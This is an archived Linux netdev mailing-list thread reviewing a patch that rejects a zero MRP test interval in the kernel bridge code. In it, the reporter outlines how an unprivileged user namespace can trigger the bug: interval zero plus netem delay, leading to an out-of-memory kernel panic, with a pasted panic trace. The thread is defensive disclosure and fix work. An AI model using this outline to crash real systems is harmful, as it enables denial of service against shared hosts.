* Re: [PATCH net] bridge: mrp: reject zero test interval to avoid OOM panic 2026-03-28 6:19 ` Xiang Mei @ 2026-03-28 6:38 ` Nikolay Aleksandrov 0 siblings, 0 replies; 10+ messages in thread From: Nikolay Aleksandrov @ 2026-03-28 6:38 UTC (permalink / raw) To: Xiang Mei Cc: Simon Horman, netdev, bridge, idosch, davem, edumazet, pabeni, bestswngs On 28/03/2026 08:19, Xiang Mei wrote: > On Fri, Mar 27, 2026 at 01:46:39PM +0200, Nikolay Aleksandrov wrote: >> On 27/03/2026 13:34, Simon Horman wrote: >>> On Wed, Mar 25, 2026 at 08:24:38PM -0700, Xiang Mei wrote: >>>> br_mrp_start_test() and br_mrp_start_in_test() accept the user-supplied >>>> interval value from netlink without validation. When interval is 0, >>>> usecs_to_jiffies(0) yields 0, causing the delayed work >>>> (br_mrp_test_work_expired / br_mrp_in_test_work_expired) to reschedule >>>> itself with zero delay. This creates a tight loop on system_percpu_wq >>>> that allocates and transmits MRP test frames at maximum rate, exhausting >>>> all system memory and causing a kernel panic via OOM deadlock. >>> >>> I would suspect the primary outcome of this problem is high CPU consumption >>> rather than memory exhaustion. Is there a reason to expect that >>> the transmitted fames can't be consumed as fast as they are created? >>> >> >> +1 >> More so with CAP_NET_ADMIN you can cause all sorts of OOM and high-cpu usage >> conditions. This is a configuration error and OOM doesn't lead to panic unless >> instructed to. I don't think this is worth changing at all. > > Thanks for your review. This path is reachable from an unprivileged user > namespace. The capability check goes through rtnetlink_rcv_msg() -> > netlink_net_capable() -> netlink_ns_capable(), which checks > CAP_NET_ADMIN against the network namespace's user_ns, not init_user_ns. > An unprivileged user can create a user+net namespace, get CAP_NET_ADMIN> within it, set up a bridge with MRP, and trigger the zero-interval loop. > This is not a privileged misconfiguration scenario. Technically this is also conditional on configuration. It depends first if users can create namespaces at all, then on the effective and inheritable caps. Anyway, as I said in a previous reply, I'm fine either way. Please resubmit with the fixes tag. > > Also, the PoC can crash a kernel without "oops=panic" with this bug. > >> >>>> >>>> The same zero-interval issue applies to br_mrp_start_in_test_parse() >>>> for interconnect test frames. >>>> >>>> Use NLA_POLICY_MIN(NLA_U32, 1) in the nla_policy tables for both >>>> IFLA_BRIDGE_MRP_START_TEST_INTERVAL and >>>> IFLA_BRIDGE_MRP_START_IN_TEST_INTERVAL, so zero is rejected at the >>>> netlink attribute parsing layer before the value ever reaches the >>>> workqueue scheduling code. This is consistent with how other bridge >>>> subsystems (br_fdb, br_mst) enforce range constraints on netlink >>>> attributes. >>>> >>>> Fixes: 7ab1748e4ce6 ("bridge: mrp: Extend MRP netlink interface for configuring MRP interconnect") >>> >>> I think you also want >>> >>> Fixes: 20f6a05ef635 ("bridge: mrp: Rework the MRP netlink interface") >>> >>> As highlighted by AI review. >>> >>>> Reported-by: Weiming Shi <bestswngs@gmail.com> >>>> Signed-off-by: Xiang Mei <xmei5@asu.edu> >>> >>> ... >> ^ permalink raw reply [flat|nested] 10+ messages in thread
* Re: [PATCH net] bridge: mrp: reject zero test interval to avoid OOM panic 2026-03-27 11:34 ` Simon Horman 2026-03-27 11:46 ` Nikolay Aleksandrov @ 2026-03-28 6:06 ` Xiang Mei 1 sibling, 0 replies; 10+ messages in thread From: Xiang Mei @ 2026-03-28 6:06 UTC (permalink / raw) To: Simon Horman Cc: netdev, bridge, razor, idosch, davem, edumazet, pabeni, bestswngs On Fri, Mar 27, 2026 at 11:34:12AM +0000, Simon Horman wrote: > On Wed, Mar 25, 2026 at 08:24:38PM -0700, Xiang Mei wrote: > > br_mrp_start_test() and br_mrp_start_in_test() accept the user-supplied > > interval value from netlink without validation. When interval is 0, > > usecs_to_jiffies(0) yields 0, causing the delayed work > > (br_mrp_test_work_expired / br_mrp_in_test_work_expired) to reschedule > > itself with zero delay. This creates a tight loop on system_percpu_wq > > that allocates and transmits MRP test frames at maximum rate, exhausting > > all system memory and causing a kernel panic via OOM deadlock. > > I would suspect the primary outcome of this problem is high CPU consumption > rather than memory exhaustion. Is there a reason to expect that > the transmitted fames can't be consumed as fast as they are created? > yes, you are right. In the default veth setup, the primary effect there is CPU exhaustion. However, if a qdisc with delay (e.g., netem) is attached to the bridge port, skbs accumulate in the qdisc and are never freed, leading to actual OOM. Both the qdisc attachment and the MRP configuration are reachable from the same unprivileged context. In our test, for a 3.5GB ram machine, with interval=0, OOM leads to a kernel panic in 10 sec: [ 10.901868] Kernel panic - not syncing: System is deadlocked on memory [ 10.902139] CPU: 0 UID: 0 PID: 2 Comm: kthreadd Not tainted 7.0.0-rc4+ #6 PREEMPTLAZY [ 10.902525] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.17.0-0-gb52ca86e094d-prebuilt.qemu.org 04/01/2014 [ 10.903045] Call Trace: [ 10.903163] <TASK> [ 10.903262] vpanic+0x694/0x780 [ 10.903451] ? __pfx_vpanic+0x10/0x10 [ 10.903625] ? __pfx__raw_spin_lock+0x10/0x10 [ 10.903811] panic+0xca/0xd0 [ 10.903952] ? __pfx_panic+0x10/0x10 [ 10.904118] ? panic_on_this_cpu+0x1a/0x40 [ 10.904319] out_of_memory+0x124e/0x1350 [ 10.904497] ? __pfx_out_of_memory+0x10/0x10 [ 10.904694] __alloc_pages_slowpath.constprop.0+0x2325/0x2dd0 [ 10.904949] ? __pfx___alloc_pages_slowpath.constprop.0+0x10/0x10 [ 10.905214] __alloc_frozen_pages_noprof+0x4f8/0x800 [ 10.905445] ? __pfx___alloc_frozen_pages_noprof+0x10/0x10 [ 10.905686] ? kasan_save_track+0x14/0x30 When interval=1, we can't crash the kernel even though netem reaching sch->limit. You are right, it's a race between creating and comsuming. But interval=0 gives the the user too much power to win the race easily. > > > > The same zero-interval issue applies to br_mrp_start_in_test_parse() > > for interconnect test frames. > > > > Use NLA_POLICY_MIN(NLA_U32, 1) in the nla_policy tables for both > > IFLA_BRIDGE_MRP_START_TEST_INTERVAL and > > IFLA_BRIDGE_MRP_START_IN_TEST_INTERVAL, so zero is rejected at the > > netlink attribute parsing layer before the value ever reaches the > > workqueue scheduling code. This is consistent with how other bridge > > subsystems (br_fdb, br_mst) enforce range constraints on netlink > > attributes. > > > > Fixes: 7ab1748e4ce6 ("bridge: mrp: Extend MRP netlink interface for configuring MRP interconnect") > > I think you also want > > Fixes: 20f6a05ef635 ("bridge: mrp: Rework the MRP netlink interface") > > As highlighted by AI review. Thanks for the reminder. > > > Reported-by: Weiming Shi <bestswngs@gmail.com> > > Signed-off-by: Xiang Mei <xmei5@asu.edu> > > ... ^ permalink raw reply [flat|nested] 10+ messages in thread
end of thread, other threads:[~2026-03-28 6:38 UTC | newest] Thread overview: 10+ messages (download: mbox.gz follow: Atom feed -- links below jump to the message on this page -- 2026-03-26 3:24 [PATCH net] bridge: mrp: reject zero test interval to avoid OOM panic Xiang Mei 2026-03-26 3:42 ` Xiang Mei 2026-03-27 11:34 ` Simon Horman 2026-03-27 11:46 ` Nikolay Aleksandrov 2026-03-28 0:19 ` Jakub Kicinski 2026-03-28 6:18 ` Nikolay Aleksandrov 2026-03-28 6:23 ` Xiang Mei 2026-03-28 6:19 ` Xiang Mei 2026-03-28 6:38 ` Nikolay Aleksandrov 2026-03-28 6:06 ` Xiang Mei
This is a public inbox, see mirroring instructions for how to clone and mirror all data and code used for this inbox